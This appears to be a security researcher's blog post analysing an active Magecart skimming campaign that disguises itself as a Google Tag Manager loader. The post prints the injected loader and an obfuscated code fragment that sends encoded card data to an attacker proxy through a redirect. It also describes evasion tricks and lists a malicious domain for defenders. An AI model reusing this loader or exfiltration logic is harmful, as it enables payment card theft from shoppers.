Fighting an active Magecart Campaign

We’ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What we found was a live payment skimmer injecting fake payment forms, stealing card data, and adapting its exfiltration flow when defensive controls got in the way.

The Magecart Threat

If you're not familiar with Magecart, we have a dedicated solutions page for it on the Report URI website where you can read more details, but here's the TLDR;

Attackers find a way to run malicious JavaScript in your site, then use it to steal payment data entered by your visitors.

It is one of the most dangerous forms of client-side compromise because it often leaves little visible trace for the site owner while quietly capturing highly sensitive information.

The initial compromise

There are many ways that you may initially be compromised, from a traditional XSS attack through to a supply chain compromise, but really, it doesn't matter how they get their malicious JavaScript in, once the attackers have JS on your page, you have a big problem.

The recent attack we've been tracking starts with this, a simple script injection in <head>, which I've prettified here for you.

  !function(e, a, n, t, o, r, c) {
    e.GoogleTagManagerLoaderScript = o;        // sets window.GoogleTagManagerLoaderScript = "always"
    r = a.createElement(t),                    // creates a <script> element
    c = a.getElementsByTagName(t)[0],          // finds first <script> in page
    r.async = 1,                               // async load
    r.src = e.atob("*snip base64*"),           // decodes base64 URL → script source
    c.parentNode.insertBefore(r, c)            // injects before first script tag
  }(window, document, 0, "script", "always");

What makes this especially effective is how ordinary it looks. Anyone who has spent time inspecting the DOM will have seen almost this exact pattern before. It deliberately mimics the real GTM loader: the same argument structure, the same DOM insertion technique, and the same overall shape. The key difference is that instead of loading gtm.js, it base64-decodes a malicious URL at runtime and injects attacker-controlled JavaScript instead.

If you base64 decode the URL, it points to a new domain, registered for these attacks, and serves specific payloads on a per-target basis depending on the site name in the path component. Here's a screenshot of the malware payload:

Targeted attack

Because the payload is customised per target, it includes a number of more advanced behaviours:

Admin detection - before running, the script uses various techniques to detect if the current site visitor is a WordPress, Magento, PrestaShop, or OpenCart administrator, and if they are, it silently exits. This is a deliberate evasion technique so that store owners who are testing their own site will not see any malicious behaviour.

Anti-debugging - the script times a debugger statement using performance.now() and if the elapsed time exceeds the set threshold, indicating a debugger is attached, it sets a flag in localStorage and permanently disables the malware in that browser by setting the already_checked flag.

Platform fingerprinting - the script identifies if the ecommerce platform in use is one of WooCommerce, Magento, OpenCart, or PrestaShop, and then applies the correct field selectors and event hooks for that specific platform.

This is not a generic opportunistic skimmer. It is a targeted and more capable malware payload designed to evade detection and adapt to the environment it lands in.

Skimmer activation

Once the skimmer is active on a checkout page, it injects a fake payment form into the page, styled to match the original payment form exactly. It will then hook all of the form inputs and select fields which are written to localStorage as the user interacts with them. The submission of the form is then intercepted and the stolen data is exfiltrated, both with a variety of methods depending on the platform being used. One way or another, the skimmer is going to try and grab the data and then exfiltrate it to the drop server controlled by the attackers! But it's this final part that caught my eye...

The CSP Bypass

One detail stood out in the payload: the malware explicitly contained logic labelled as a “CSP bypass”. In reality, this was not a direct defeat of CSP enforcement so much as an adaptive theft technique. When direct exfiltration looked risky, the malware redirected the victim to attacker-controlled infrastructure with the stolen payment data embedded in the URL, then bounced them back to the legitimate site.

  if(_0x4bb993['enableCspBypass']&&_0x4bb993['cspProxyUrl']) {
    _0x2a3ee8()&&(console['log']('[CSP BYPASS] Redirecting to proxy page...'),console['log']('[CSP\x20BYPASS]\x20Proxy\x20URL:',_0x4bb993['cspProxyUrl']),console['log']('[CSP BYPASS] Data (base64):',_0xb0be14));
    localStorage['setItem']('already_checked','1');
    const _0x210768=_0x4bb993['cspProxyUrl']+'?data='+encodeURIComponent(_0xb0be14);
    window['location']['href']=_0x210768;
    return;
  }

In other words, the malware was adapting its exfiltration path when it detected an environment where CSP might make a more direct route less reliable. It captured the form submission, encoded the stolen payment data, and sent the victim through attacker infrastructure using window.location.href, with the data passed in the request before returning them to the real site.

The attacker now has the stolen credit card data and the endpoint then redirects the user back to the correct page on the target site, making the process completely invisible to the user. Here's a payment I tried to submit using fake credit card details on the live site:

{
  "domain":"https://www.*snip*.com",
  "data" : {
    "uagent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36",
    "card":"4242424242424242",
    "exp":"03/27",
    "cvv":"144"
  }
}

Calling this a “CSP bypass” is slightly misleading. The more important lesson is that once hostile JavaScript is running in the browser, attackers still have a great deal of flexibility in how they capture and move stolen data. That adaptability is exactly what makes these attacks so dangerous.

Ongoing threat

This campaign is still ongoing. While we continue working to understand the wider impact, our visibility naturally allows us to notify only a subset of potentially affected organisations directly. By publishing these findings, and reporting the infrastructure involved, we hope to help defenders identify and disrupt the campaign more broadly.

What defenders should do now

If you run an ecommerce site, there are a few immediate checks worth making:

Review any recent changes to scripts loaded on checkout and payment pages.
Search logs, telemetry, and browser-side monitoring data for requests involving styleoutsperee.com.
Investigate unexpected redirects or unusual navigation during payment submission flows.
Check whether any third-party or injected JavaScript could have accessed payment form fields in the browser.

Even when the server-side environment looks clean, browser-side visibility can reveal malicious behaviour that would otherwise go unnoticed.

Indicators of Compromise

Here are the details:

Domain: styleoutsperee.com (registered 15th Feb 2026)

If you want visibility into threats like this on your own site, you can start a 30-day free trial at Report URI. Our JavaScript Integrity Monitoring solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry almost immediately.

Have you enjoyed this post or found it helpful?
☕️ Consider buying me a coffee to say thanks!
🔔 Subscribe for free notifications when I publish!
🤩 Become a member and support my content!

推荐订阅源

Scott Helme